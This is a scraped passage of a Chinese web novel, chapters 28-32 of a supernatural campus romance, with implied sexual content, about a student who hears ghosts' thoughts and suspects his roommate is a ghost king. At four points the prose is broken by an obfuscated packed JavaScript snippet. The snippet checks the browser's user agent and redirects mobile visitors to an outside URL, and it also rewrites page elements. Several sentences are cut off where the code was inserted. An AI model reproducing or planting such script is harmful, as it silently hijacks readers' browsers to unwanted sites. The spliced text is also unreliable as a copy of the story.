那一瞬间,溪白甚至连挣扎都忘记了。 但很快。 他开始更用力地拉开自己和顾弛的距离。 你早安就早安。 能不能别怼我了! 在溪白那双水光流转的双眼“凶狠”的注视下,顾弛终于顺着他视线低下头,发现了双方此刻紧密贴贴的奇妙风景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370170|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾弛下意识地放松了一下手臂,溪白终于趁着这个机会,逃脱了这令他几乎羞愤到疯狂的“牢笼”。 他猛地一个起身,从顾弛怀里溜了出来。 手脚并用地退缩到床铺的另外一边,溪白伸手揪住自己的被角,直接扯过来盖到了身上。 他瞪大了眼睛,紧紧盯着还躺在床上,歪着脑袋看自己的顾弛。 实现下意识一路向下。 溪白:…… 能不能收敛一点! 知道你很优越,但是,收敛一点! “溪白?” 顾弛茫然的表情清楚地说明了他不明白发生了什么,更看不懂溪白反应这么大的原因。 反倒是溪白看懂了他的表情,心里更加确定,自己这个笨蛋大型犬室友在亲密关系上就是个傻的。 溪白直接把大半张脸都埋进了被子里,脑海里乱糟糟的,耳朵也烫烫的,目光缓缓侧移,带着几分心虚,更多的是心乱,不再去看那双做完了坏事,却依旧清澈得像阳光下的湖面一般的双眼。 溪白的心好乱。 虽然他才帮助顾弛…那什么…没多久,但那毕竟只是用手而已。 可刚刚,顾弛的已经直接贴到他的…… 溪白觉得自己的头顶要开始鸣笛喷水蒸气了。 目光犹豫着,来来回回,最终再次对上。 一个依旧清澈,一个在慌乱之中被那清澈乱了心神。 溪白转身想要逃下床,但力道自衣摆传来,让他半自愿,半强制地留在了原地。 话到了嘴边,又打碎了和着羞耻咽回去。 最终溪白只保持着动作,坐在床头直勾勾地盯着顾弛。 “溪白。” 顾弛明明醒了许久。 但莫名地,溪白觉得他的嗓音比刚醒时还要多点哑。 衣摆处传来的力道加大了几分,溪白低下头,就见那只抓着自己衣服的手,又往前伸了几分。 手掌抓住更大范围的布料,收紧,连上面的褶皱都绷直。 溪白第一次看见顾弛那双清澈的眼睛里,染上其他的痕迹。 “溪白。” 顾弛又轻轻唤了他一声。 “我难受。” 顾弛说着,目光不加掩饰地垂落。 落在了那怼了溪白大半天的罪魁祸首之上。 29.第 29 章 顾弛难受。 嗯,看着应该就很难受。 溪白脑海里先是轮播了一阵这两句话。 随即,反应过来的大脑开始往头顶疯狂泵血,温度被贲张的血液推得极高,脸像是瞬间烧了起来。 “你,你难受,怎么和我说……”溪白顶着一张大红脸,声音没什么底气地说道。 顾弛难受,和他说干什么! 偏面前的男生像是感受不到尴尬似的,直勾勾地盯着溪白。 连眼尾都好似要耷拉下来,像一只被弃之不理的大型犬,委屈得要命。 溪白一咬牙,从牙缝之中挤出第二句。 “如果很难受……那,你就自己去,去解决一下!” 顾弛:“我不会。” 足够直白。 简明扼要。 溪白一哽。 他下意识地顺着顾弛的思路就开始回想。 上一次他帮顾弛的时候,对方的反应的确是足够生涩的。 可是,难不成他这次还要…… 溪白正想着,抓着自己衣摆的手突然松开。 他都还没反应过来,手腕连同手掌,都被另一只更大号的手给抓住。 顺着力道传来的方向,顾弛不知道什么时候已经坐起来了。 他整个人靠在溪白的身后,垂着脑袋,鼻梁几乎要戳到溪白那带着红烫的耳朵了。 “溪白。” 顾弛又低低地呢喃了一声。 “我好难受。” 声音一下到了耳畔,溪白颈后汗毛瞬间直立。 “帮帮我好不好?” 一双清澈好看的眼睛悄然抬起,带着燎人的翻腾火焰,撞进了溪白的眼底。 “就像你上次那样,就好……” 溪白甚至没听见顾弛说的后半句话是什么。 因为他大脑过高的温度,已经不足以支持他再继续思考。 …… 溪白换着不同的洗手液和沐浴露,连续洗了三次手。 而等顾弛出来的时候,只看到房间桌上一支拧开了盖的护手霜。 明显是走得太急,忘记拧好了。 顾弛将浴巾挂起,走到桌边。 拿起桌面上的护手霜,他闻了一下。 唔,不是溪白的味道。 略带失望地将盖子盖上拧好,他随手把护手霜放去一旁。 手指在溪白的书桌、椅背、放在桌面的各种物品上流连抚摸了许久,顾弛一样一样地望过去,眼神深情得根本不像在看什么没有生命的物品。 指尖轻轻敲了敲桌面,顾弛轻轻啧了一声。 怎么连书架上摆着的笔记本都这么可爱。 顾弛的目光一路扫到溪白桌面上的闹钟,他顺带看了一眼时间,不爽地发现,已经快上课了。 而等到出门的时候,顾弛心里想的已经变成了另外一件事。 溪白为了他,两次都累得这么辛苦。 什么时候,他也能帮溪白一下呢? ※ 教学楼里。 明明还没上课,溪白却已经在座位上坐了大半个小时了。 他双手抓着课本立在面前,死死地盯着书页上的文字。 直到庄算的声音带着疑惑在耳边响起。 “溪宝?” 溪白僵硬地扭脸看他。 庄算伸手指了指他的课本。 “你书好像拿反了。” 溪白终于是认真看了一眼书上的文字。 庄算凑过来又看了一眼:“嗯,是反了。” 溪白:…… 他将书倒转回正,也不盯着看了。 庄算在他旁边坐下,拿出这节课的课本。 “溪宝。”他看了一眼四周,压低声音,“你和顾弛怎么样了?” 他不提还好。 一提,庄算就见溪白的脸像是丢进了热水锅里的虾子似的,迅速蔓延开一片红色。 那红色的鲜明程度和扩散速度直接把人吓到了,庄算蹦起来就喊。 “溪宝,你怎么了这是!” “过敏了?脸痛不痛,热不热啊!” “要不要找校医%@&*……” 庄算话还没说完,就被溪白暴力封口了——力气再大一点,他都快误以为溪白要杀他灭口了。 在庄算再三用眼神和手势表示自己不会再乱叫了,溪白才把人松开。 “溪宝。”庄算委屈地把自己的脸揉圆搓扁,放松被掐得僵硬的腮帮子,“你变暴力了。” 不过庄算的到来,也让羞愤了半天的溪白回忆起了搁置着的另一间重要的事。 他昨晚听见顾弛的心声了,虽然冷静后分析下来,溪白觉得这并不能直接证明顾弛就“不是人”,反而,溪白能够找出更多的证据证明顾弛就是一个活生生的人类。 把什么滚烫的体温,温热的呼吸,灼热的**之类的词语一股脑地扫荡出脑海。 溪白清楚地意识到,还有很多疑点他没有想明白。 看了一眼身旁的庄算,溪白犹豫了一下。 “小蒜头,问你一个问题。” 庄算还沉浸在刚刚被溪白锁喉的悲伤之中,也没计较他的称呼。 “你问吧。” 溪白道:“前两天,我碰到一个能被我听见心声的活人。” 没等听溪白说完,庄算就声线高亢地来了一声。 “什么?是谁!” 溪白让他冷静一下。 不过…… 溪白看着眼睛都瞪圆了,开始深呼吸的庄算,有些疑惑:“你怎么好像很在意这件事啊?” “那当然啊!”庄算一脸严肃。 溪白看他的样子,还以为情况很严重。 下意识地屏息凝神,他就听庄算板着脸,义正词严地开口。 “我当然不能让其他男人超过顾弛成为对你来说更特殊的存在!” 溪白一阵无语。 “行吧。”他其实也并没有要瞒着庄算的想法,“那个人就是个顾弛。” 庄算:“嗷!!!” 溪白早有预料,把庄算失控的大叫声捂了回去。 但动静还是引起了不少人的注意,感受到四周传来的目光,溪白坐立难安,干脆直接把庄算拽出了教室。 “溪宝!!!” 庄算捂着嘴低声尖叫,但再怎么挡,也挡不住快要从他眼睛里喷涌而出的激动。 他拉着溪白的一只胳膊直晃荡。 “你听到什么了?!有没有听到顾弛说他喜欢你?你有没有主动出击调戏他,试探他的心意!” 溪白:……他就知道。 嗑CP上头的庄算非要溪白把话说清楚,眼见着避不开这个话题,溪白只好老老实实地交代道:“没有,顾弛心里没有想过喜欢我之类的话。” 庄算沉默了片刻,然后恨铁不成钢地开口。 “男人都是不争气的东西!” “所以到底是什么情况,你了解吗?”溪白将话题中心重新拖回了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404561|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的关注点上。 其实他在乎的并不是这个情况出现的原因,或者其他的什么原理。 他只想确定顾弛到底有没有可能并不是一个活人。 “怎么说呢,溪宝你的情况比较特殊。”庄算磕糖不成,也不得不收敛起了闹腾的心态,“能听到阴物心声的事情,古往今来也是屈指可数。” 虽然修道不深,但庄算没少读家里的藏书。 他思考了一下,道:“虽然,以我看过的记载来说,能被你这样特殊体质的人听见心声的,基本都是鬼。” “但凡事都有例外。”庄算伸手拍了拍溪白的肩头,“而且溪宝你回忆一下,你和顾弛两个人同处一室已经多久了?快小半年了吧,你看,他也并没有伤害你啊!” “嗯,你说的有道理。” 其实溪白自己也差不多是这个想法,他问庄算,更多的也只是想求一个心理安慰,多一个人去支持和印证他的猜想而已。 “我知道溪宝你有些害怕,但我觉得如果顾弛有伤害你的心思,应该早就实施了。” “何况你别忘了,他是八字极阳的人啊,鬼都是阴物,最怕阳气了,连晚上遇到阳气重的人都会绕道走的。” “从我的角度,就算顾弛是鬼……”庄算看了一眼溪白,继续往下说,“我觉得,他怎么都比之前缠着你的那个鬼王好吧!” “而且你和顾弛搬到一起后,我好像就没听你提过那个鬼王的事情了。它是不是没再来骚扰过你?” 庄算见溪白不说话,以为他默认了,立刻道:“你看,其实顾弛反而是在保护你,那你就更不用担心别的什么了。” 听完庄算的一番长篇大论,溪白陷入了良久的沉默。 其实,庄算大部分的话都没错,溪白在意的其实只有两个点。 在刚开始的时候,他还是时不时地会被那鬼王闯进梦里。有的时候那鬼王就是盯着他看,有的时候就是叫他的名字,虽不曾真的伤害他,但溪白还是被吓得不轻。 但自从他和顾弛睡一张床,这种事情就再没发生过。 溪白还曾经刻意回忆了一下,只要他一回到自己的床上,那鬼王就跟掐准了点儿似地过来。 以至于他现在睡觉根本不敢离开顾弛,甚至提前开始担心,等毕业之后两人不在一个宿舍了,自己该怎么办。 而更让溪白心中在意的,是另一件事。 刚刚庄算说了一句就算顾弛是鬼,也总比那缠着他的鬼王好。 溪白发现自己居然真的认真思考了一下“如果顾弛是鬼”这件事变成了事实,他好像……并不抗拒? 甚至,如果让他和顾弛这个“鬼”谈恋爱,也并非是什么,完全无法接受的事情。 这一瞬间,溪白的眼睛都瞪大了。 “溪宝?溪宝!溪白!!!” 庄算连喊三声,终于把出魂的溪白给唤了回来。 “啊?怎么了!”溪白猛地回神。 看见庄算狐疑而窥探的眼神,他心虚地转移话题:“所以小蒜头,你快帮我出个主意吧。” “你其实就是想知道顾弛究竟是不是人呗?”庄算摸了摸下巴,给溪白出了个主意,“溪宝,其实我感觉也不难。” 溪白这些年凭借着自己的读心术,救助了许多无辜的鬼,对阴差来说,也算是帮衬不少。 “你找黑白无常问问不就得了,你不是说之前和他们打过交道么。” 溪白一愣。 是啊,他怎么忘了,还能找谢必安和范无赦呢。 30.第 30 章 于是在庄算的启发下,溪白找了个时间合适的晚上,又帮助了一个无辜的鬼,写状纸的时候刻意写明了请谢必安、范无赦两位无常前来。 很快,一黑一白两个熟悉的身影,就伴随着升腾的黑雾出现在了树林里。 溪白上前两步,刚一拱手,“两位……” “你好你好。”谢必安声音带着笑意上前,先溪白一步打了个招呼。 范无赦也道:“好久不见。” 溪白心中纳闷,现在的地府无常这么好打交道了吗? 他听庄算侃八卦的时候说过,地府阴差其实脾气并不好,有的时候他们天师遇上解决不了的事情求助地府,总是会被呛回来。 但当时的溪白只想着这辈子都不要和什么鬼差正面打交道。 可现在看来,黑白无常还是蛮好接触的嘛。 溪白回了一礼,示意了一下一旁躲在树后的鬼。 “这是个……被抛弃的小姑娘。” 他简单说了一下鬼的生平,那孩子并没害过人,只是心性贪玩,在学校里“找朋友”的时候不小心吓到了几个学生。 如果可以的话,希望地府能从轻发落,罚该罚的后,就送她转世吧。 “自然,请小兄弟放心。”谢必安笑呵呵地应了一句。 “两位大人真是平易近人。”溪白不轻不重地拍了个马屁。 范无赦看了一眼那边和溪白已经唠起来了谢必安,心说那可不,也不看你背后那位是谁。 目光向旁侧移,树林深处一片无光的地方里,一双鲜红的竖瞳,正悄无声息地注视着这个方向。 那位鬼王大人,不知什么时候已经来了。 谢必安牵上那鬼孩儿的手打算离开 溪白出言把人留住。 “对了,我还有一事,想要和两位大人请教一二。” 谢必安:“请说。” “我想问,两位是否可以帮我查一查生死簿上的一个人名。”溪白说。 生死簿记载世间万物生灵的生老病死,如果能知晓顾弛的相关信息,就能准确地判断顾弛的身份究竟是人是鬼。 只是念头才冒出来,溪白就听范无赦的声音传来。 “抱歉,生死簿中皆为地府机密,不可外传。” 溪白一愣,下意识道:“上次我……” “真的抱歉。”谢必安也摇了摇头,委婉地拒绝了,“上次是查的小兄弟你自己,所以忌讳比较少些,而且严格一点来说,也是不允许的。” 因为溪白帮助地府许多次,他们上次才给开了个“后门”。 “喔……”溪白轻轻地吐了个单音节,视线垂落几分。 虽然心里早有预料,这种事情必然不会那么轻松。 但实际上被拒绝之后,溪白多少还是有些失望和沮丧的。 “小兄弟可是遇到了什么麻烦?”谢必安的人情味明显比范无赦更足一些,他见溪白神色低落,关心道。 溪白想了想,面前的两位阴差千百年来都和阴物打交道,或许对于自己的情况,要比人间的天师更加熟悉。 所以他决定如实相告。 “是这样,我最近有个朋友,相处下来,我觉得他可能不一定是人。” 溪白简单地说了一下自己的情况,这也是他第一次将自己能“读心”的秘密告诉除了庄算以外的人。 谢必安和范无赦对视一眼。 他们一直知道顾弛就在溪白身边,也一直疑惑为什么顾弛不愿意用真面目见溪白。 今晚一番交谈,算是让他们得知了答案。 第一,溪白可能怕鬼,或者是厌恶鬼。 而第二就是溪白有读心术,估计顾弛是不想让他知晓内心的一些其他想法。 虽然不清楚个中细节,但谢必安这千年来和形形色色的鬼打过不少交道,而鬼是人变的。 换而言之,他看过了太多人心。 一来二去,居然把溪白和顾弛的情况猜了个七七八八。 也难怪鬼王大人前两天特意来叮嘱他们对着溪白要“慎言”……谢必安心说。 “什么慎言?” 谢必安被吓了个半死。 “啊!不要读我的心啊!!!” 他的视线本能地看向深林深处。 然后就看到了: (丨_丨) 对上那双猩红竖瞳的那一刻,谢必安都快吓歇菜了。 “我,我不是有心的。” 溪白赶紧摆手道歉,他也不是故意的,但就是控制不住。 可是……什么慎言? 红色竖瞳又闪了一下,谢必安倒吸一口凉气。 他急中生智,道:“我是说,这情况,其实也不「慎严」重,小兄弟你听岔了。” 树林里传来的压迫感骤然消减了大半。 “噢,是吗。”溪白稍微犹疑了一下。 但也没犹疑多久。 他更关心的是:“真的不严重吗?如果我旁边的人是鬼……” 谢必安道:“那他可曾伤害你?” 溪白沉默了。 谢必安和庄算,都提到了同一件事。 不管顾弛的真实身份究竟是人还是别的什么,从始至终,他都不曾伤害过溪白半分。 明明有那么多机会,明明溪白在他身边毫无防备睡着过无数次。 甚至顾弛还“保护”过他无数次——尽管顾弛本人可能并不知情。 见溪白的注意力分散了,谢必安赶紧转头。 就见树林里的竖瞳逐渐开始扭曲,红线变换了形态。 (√_√) ……这又是什么操作。 但意思倒是言简意赅。 后面,溪白问一句,谢必安就答一句,答完就看向小树林里,接收上级的“指示”。 说的对的,顾弛就会:(√_√ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434834|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ) 不该继续说的,顾弛就:(X_X) 总而言之,意思是传达到位了。 谢必安告诉溪白的信息,也就是“顾弛并不一定是鬼,即使是,也没有伤害溪白,可以再看看情况”。 和庄算的说法差不多…… 溪白想了想,又试探着问:“不知两位大人可有什么方法,助我一试……” “没有!” 谢必安说完,下意识地去看树林。 (←_←) 谢必安:!!! 糟了,答得太快了! 果不其然,溪白的表情再度多了几分狐疑。 一旁的范无赦当机立断,开口插了一句。 “我们不能干涉活人的命数。” 都说话少的人开口更容易令人信服,溪白听完范无赦的话,还真就不多怀疑了。 “我明白了。”他点了点头。 谢必安大大松了口气。 两位无常再次看向树林时,唯余一片黑暗。 那双变来变去的竖瞳已经消失了——顾弛走了。 “那,我们就先告辞了。”谢必安赶紧道别,拉着范无赦离开,免得自己有多说了什么错话,引得溪白疑虑。 黑雾消失,溪白留在原地静静站了一会儿。 原本乱极了的心,好像在这几天的思考,还有庄算和黑白无常接连的帮助下,重新静了下来。 顾弛。 内心与口中同时无声地念出了这个名字。 溪白闭上眼睛,长出了一口气。 转身,他朝宿舍所在的方向走去。 乌云攀上天幕,遮蔽了原本高高挂悬于天空之中的朗月。 北城大学最高处的西山顶上,一双猩红色的竖瞳悄然浮现。 高大的身影自黑雾之中踏出,顾弛的目光扫视了一圈四周,却并未发现预料之中的什么身影。 他轻轻嗅了嗅,在墨夜之下的冷空气中,捕捉到了一丝刺鼻的血腥气。 眼底寒光一闪,顾弛又扫视了一圈周围。 “无厢来过。” “加强阴差巡视。” 两句元神传讯钻入地底,顾弛估摸着溪白也快到宿舍了。 转身化作一道黑光,朝宿舍区的方向掠去。 与此同时,溪白走在回宿舍的校道上。 他低头思考着刚刚与谢必安交谈的内容,却突然觉得背后一冷。 溪白猛地回头,却什么也没看见。 但是,他意识到自己现在走着的树荫校道之上,除了自己之外,并无他人。 心底生出几分恐惧,溪白加快了脚步,而且不知为什么,总觉得有人在暗处盯着自己。 而他离开后不久。 一个高大瘦长的有些佝偻的身影,自一棵树的树干之后无声无息地走了出来。 那身影盯着溪白的背影,笑出一口令人森然的白牙。 31.第 31 章 “溪宝。”庄算从保温袋里拿出一杯奶茶,放到溪白的桌面上,“你的热黑糖波波牛乳。” 溪白插上吸管猛吸了一口,温热的甜牛乳混合着慢火熬制口感软弹的黑糖啵啵,浓郁的甜香蔓延开来,丰富的多巴胺瞬间放松了大脑。 “顾弛那事儿还是没进展吗?”看溪白烦恼的样子,庄算猜他还是在为几天前的事情烦忧。 “也不算。”溪白咬了咬吸管。 庄算插上自己的奶茶,把吸管包装纸丢回保温袋里,放到脚边。 边喝了一口,他边问:“那你多试探了顾弛没有?” 溪白含混不清地嗯了一声,勉强算作肯定。 其实他并非没有努力尝试从顾弛的心里读出点什么来。 只不过事情的发展常常不受溪白的控制。 开始是溪白发现,他想要读顾弛的心,首先两人的距离得比较近,像上一次也是第一次读到的时候,几乎是紧贴着睡在床上。 但后来距离近的时候,不是被顾弛低头朝他一笑就笑得心慌意乱,就是大早上醒来发现自己半夜睡觉又不老实地滚进了顾弛的怀里。 前者,他只顾着盯着顾弛的笑容心跳加速,脑子里一团浆糊根本读不出什么。 后者,就是顾弛在睡觉的时候几乎没有任何心理波动,像溪白心底里的印象一样——顾弛的心其实就像一张白纸一样,很干净。 所以,事情的进展就是几乎没有进展。 除了溪白睡了这几个月,发现顾弛笑容比较大的时候,会露出两颗有点尖尖的虎牙。 就更像大型犬了。 “那你要不要见见我哥?”庄算突然道。 啃着吸管的溪白一愣,“你哥要来学校?” 庄算点了点头,“嗯,好像是来看什么风水吧,听说有几个教授和同学这段时间连环撞鬼,学校那边就请人来看看。” 庄家在天师界里也算望门,庄术又是年轻一辈的佼佼者,请到他也不算奇怪。 下了课后,庄算给庄术发了个消息。 [神算子:哥你在哪,我去找你] 十分钟后,庄术没回。 [神算子:溪白也去] [术上骑个猴:【定位】] 秒回。 庄算闭眼。 两人到定位显示的北城大学南图书馆的时候,大门已经被警戒线封锁了。 钻过警戒线进了大门,就看到大堂里,庄术正拿着一只罗盘走来走去。 溪白注意到罗盘上的指针正不停地旋转着,而之前庄算拿着新到手的罗盘和他炫耀时,指针在正常状态下,是一直指向南方的。 “有阴物。” 庄算的话印证了溪白的猜想。 原本这栋经常在期末周被来复习的学生们占满,因此对这里非常熟悉和亲近——包括溪白——的图书馆,在这一刻变得有些阴森诡异起来。 溪白还抱着一丝残余的幻想问庄算:“你哥不会是动真格的吧?” 庄算刚一点头,就见那边庄术突然动了。 原本庄术拿着罗盘,是在慢慢地移动,但方才那一瞬间,他的身形化作一道影子闪了出去。 图书馆呈回字形,正中央放着一尊高达三层楼的首任校长塑像。 而庄术就这么毫无借力地踩着竖直的墙面噔噔噔几步窜上了天花板,而后屈膝一个纵跃。 下一秒,一个黑红色泛着浓烈血腥气的黑影便被他从雕像后方的阴影里拽了出来,狠狠掼在了地面上。 刚刚还幻想着庄术会不会找错地方了的溪白:…… 真的有鬼! 他以后再也不来图书馆复习了! 那鬼青面红目,头顶全秃,四周一圈湿漉漉的黑色长发,有点像志怪图集里画着的河童。 被庄术砸在地上,它显然也有些懵。 用力甩了甩脑袋,河童鬼抬起头,一双猩红污浊的血目恰好和不远处站着的溪白对上。 旋即,河童鬼尖叫一声,露出两根又尖又长的门牙,径直冲了过来。 只是还没冲到一半,一道金光便如同收紧的紧箍咒一般从天而降,直接捆住了它。 庄术自空中轻巧地落下,左手单手持印,右手捏着一张正逐渐焚烧为灰烬飘落的朱砂纸符,他踏着金光而来,口中念着家传的天师枷咒。 光圈收紧捆在河童鬼身上,冒出哧哧的响声和白烟。很快,那河童鬼就像是被扎破了的气球,身形迅速变小。而模样也从一开始的凶狠可怖,变成了一个畏畏缩缩的,像一只没长毛的小老鼠似的模样。 “借势。”庄算喃喃了一句,抬起头兴奋地道,“哥,这是借势对不对?” 所谓借势,意思就是获得原本不属于自己的力量。 放在现在的情况,就是一些修为高超的大鬼将自己的力量“借给”或者说“灌注”给了小鬼,而小鬼便会迅速变得强大,同时成为大鬼的“伥鬼”。 而刚刚庄术破了那大鬼的力量,所以这河童鬼便重新变回了原本弱小的形态,也就是小老鼠的样子。 换句话说,这河童鬼背后,还有其他的“幕后黑手”。 溪白看向前方。 指尖的符纸已焚烧殆尽,庄术垂着眼睛,抬脚踩住了那想要逃跑的河童鬼背后长长的尾巴。 河童鬼发出叽叽的尖叫,叫声里带着清晰的求饶的情绪。 庄术轻轻一挑眉,声如寒冰。 “你背后的主使,是谁?” 说着脚底一用力,河童鬼又发出一声惨叫 “老实交代。”庄术嘴角挑起一个很浅的弧度。 河童鬼虽然变小了,但明显听得懂。 只是它刚张开有两颗门牙的鼠口,还没来得及出声,身体就像是突然被灌了气的气球一般迅速膨胀起来。 庄术一直歪头观察着河童鬼的神色,见状脸色一冷,抬脚就是一个飞踹。 河童鬼胀大成圆形的身体受力,迅速像个皮球一般腾空飞了出去,最终在半空之中炸成了一团烂肉。 血浆迸溅散发出腥臭的气味,落在雕像上的那几滴腐蚀出了大量的气泡,留下一片孔洞。 溪白和庄算已经看呆了,在原地呆若木鸡,直勾勾地看着前方。 庄术则是站在原地,盯着地上的残破碎肉静静思索了一会儿,不知想了什么。 他回身的时候,目光扫来。 不论是庄算还是溪白,都下意识地站直了一点身子。 然后溪白就见寒冰迅速地从那张五官漂亮的脸上融化,熟悉的玩世不恭重新爬上了面庞。 “哟,溪白小美人。”庄术笑眯眯地抬起手,五指轮番晃动了几下。 ……逼格一下就掉没了。 气氛重新变得轻松起来,庄算激动地跑过去。 “哥,刚刚那个是借势吧?还有那个鬼怎么突然爆了?” 溪白和庄术点头致意。 庄术朝他笑了笑,回身时,抬起手敲了敲弟弟的脑袋,“学艺不精。” 庄算委屈地摸摸头。 “刚刚那家伙作为’伥鬼’,想要出卖它背后的主人,自然就会被幕后主使抹杀。”庄术的表情看上去也并不意外,可见他刚刚逼问那河童鬼,也只是想要试试能不能找点线索而已。 而这些天扰乱校园的,也就是那得了力量的河童鬼。 河童鬼为了求饶,想要供出对方身份,而后便被对方赐予他力量的时候,同时一起下在身体里的诅咒给引爆。 炸了个魂飞魄散,永世不得超生的下场,也算是咎由自取了。 庄术完成了任务,给学校里向他下单的校领导发了条消息。 要钱。 他刚把手机揣回兜里,就听见噔噔噔的一串脚步声。 “哟,来这么……” 庄术抬起头,笑容凝固在嘴边。 他微微歪了下头。 就见一个个子矮矮的胖保安正拿着一根安全棍,气势汹汹地举高朝他们三人这边跑了过来。 “你们是哪里的人啊!图书馆的墙都被踩脏了!!!” 而此时校长雕塑背后的雪白墙面上,比起刚刚多了一串,来自庄术的鞋印。 图书馆里一阵大乱,直到庄术联系的校领导赶来把人拦住,这场闹剧才消停了下来。 “抱歉抱歉,我不知道大师您是来驱邪的。” 保安态度来了个180度大转弯,双手抓着安全棍,鞠躬都鞠出了残影。 庄术无语地摆了摆手。 保安见他没有要计较的意思,忙不迭地跑了,省得被记恨上了,再被咒得病个十天半月的,可就惨了。 庄术长吁一口气,抹了一把额头上被保安追杀时跑出来的汗。 只是没等那悬起的心重新落灰肚子里,就听见校领导那边传来一声惨叫。 溪白三人紧张地回过头。 “雕像!我的雕像!!名贵大理石雕出来的雕像啊!!!” 校领导跪在雕像脚边,扒着那被河童鬼腐蚀出来的一片凹陷孔洞,鬼哭狼嚎。 不过还好,这人还是靠谱讲道理的。 虽然伤心,但知道是抓鬼所致,那校领导擦了一把眼泪,挤出一个十分勉强的笑容。 “抱歉,失态了。” 庄术生怕再多留一会儿又出什么乱子,赶紧让校领导把账结了,拉着旁边等待的溪白和庄算赶紧跑了。 “呼,真麻烦。”庄术哈出一口白雾,出了图书馆没有暖气,他迎着冷风搓了搓自己的手掌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾弛攥着纸却不擦,目光自上而下地凝视了一圈溪白。 最终,见溪白似乎没受伤,他一直紧绷的唇角才放松了点。 溪白并没有关注到这么多细节。 他只觉得顾弛好像有点紧张,来的好像也有点急。 “顾弛,你怎么了?”溪白问。 直到他问出声,顾弛才像是稍微回神了些许。 原本失焦的瞳孔重新凝聚,他有些迟钝地低下头,和溪白对视了一眼。 “噢,没,我……”顾弛目光闪烁,“就是远远看到你,想来找你,嗯,去吃饭吗?” 溪白眨了眨眼。 实话说,他从来没见过这么失态的顾弛。 溪白还没说话,后面的庄算就先喊出来了。 “去!” 那头的两人不约而同地回头。 庄算喊完才发觉有些尴尬,干笑着躲回庄术身后。 “那什么!”他探出手招了招,“我和我哥去吃饭,你俩吃吧,我们就不参与了。” 说着,庄算拉着庄术直接就跑远了。 而庄术扫了一眼身后,又看了一眼弟弟。 实话说。 他并没有觉得顾弛想要邀请庄算一起吃饭来着。 庄算越跑越快,一边跑一边怪叫说什么嗑死我了。 “行了。”庄术停下了脚步,他回头看了一眼,那边的顾弛和溪白已经只剩下一个远远的渐行渐远的背影了。 他抱着胳膊,冲顾弛那边抬了抬下巴。 “那小子就是上次溪白小朋友让我算的那个八字极阳?” 跑过头的庄算又掉转方向贴了过来。 闻言,他连连点头,“是哇!怎么样,是不是跟溪宝很配,他俩一个极阳一个极阴,我都不知道到未来该有多契合……啧啧!” 庄术听不明白也懒得管弟弟发什么疯,他抬手按在庄算的头顶,不顾对方的挣扎将手掌下方原本柔顺的头发揉成了一团乱草。 “找个机会,拿罗盘试试那小子。” 说完,庄术丢下风中凌乱的庄算,转身离开。 “哥!”庄算追上去,抱着庄术的胳膊,“顾弛有问题?” 庄术轻轻啧了一声,“我也看不出,或者说拿不准。” 但试一试,总没坏处。 庄算点了点头,又回头看了一眼已经空无一人的校道。 “行,我知道了。” 32.第 32 章 这一边,溪白和顾弛在去食堂的路上。 并排走着,肩头不时会碰到一两下,溪白视线的余光一直在往旁边扫,耳畔还能听到顾弛还没全部平复下来的喘·息声。 究竟是跑得有多急。 顾弛真的只是来找自己吃饭的吗? “溪白。” 溪白心里打了个警钟,但意识到顾弛并不能像自己听见他心声一样,读懂自己的心声,就又放松了点。 “怎么了?”溪白表情尽量如常地看向他。 就见顾弛张了张嘴,又犹豫着咬了咬自己的下唇。 最后,他还是把视线收了回去,声音很轻地问了一句: “刚刚那个男人,是谁啊?” 那个男人? 哪个男人? “哦!你说庄术啊,他是庄算的哥哥,来学校有事。” 溪白答完,才觉得不对。 迅速转头重新看去,他刚好捕捉到顾弛脸上刚刚那个表情消失的最后一秒。 那是一个复杂的表情。 紧张,犹豫。 紧张问题的答案,犹豫自己到底该不该问出来。 最重要也最多的,还是在意。 顾弛,很在意庄术是谁。 溪白想起刚刚庄术和自己说话时笑眯眯弯腰凑近的样子。 又想起顾弛说,他是远远看到自己,来找自己去吃饭的。 所以,他是先看到庄术和自己说话的场景,然后就跑了过来? 还跑得那么急,到现在都没喘匀气来? 溪白的眉毛轻轻抬起。 他的视线往顾弛那边接连扫了几次,看清楚对方脸上的表情变化后,又噙着笑意收回。 “怎么了?” 察觉到旁边的视线,顾弛开口问。 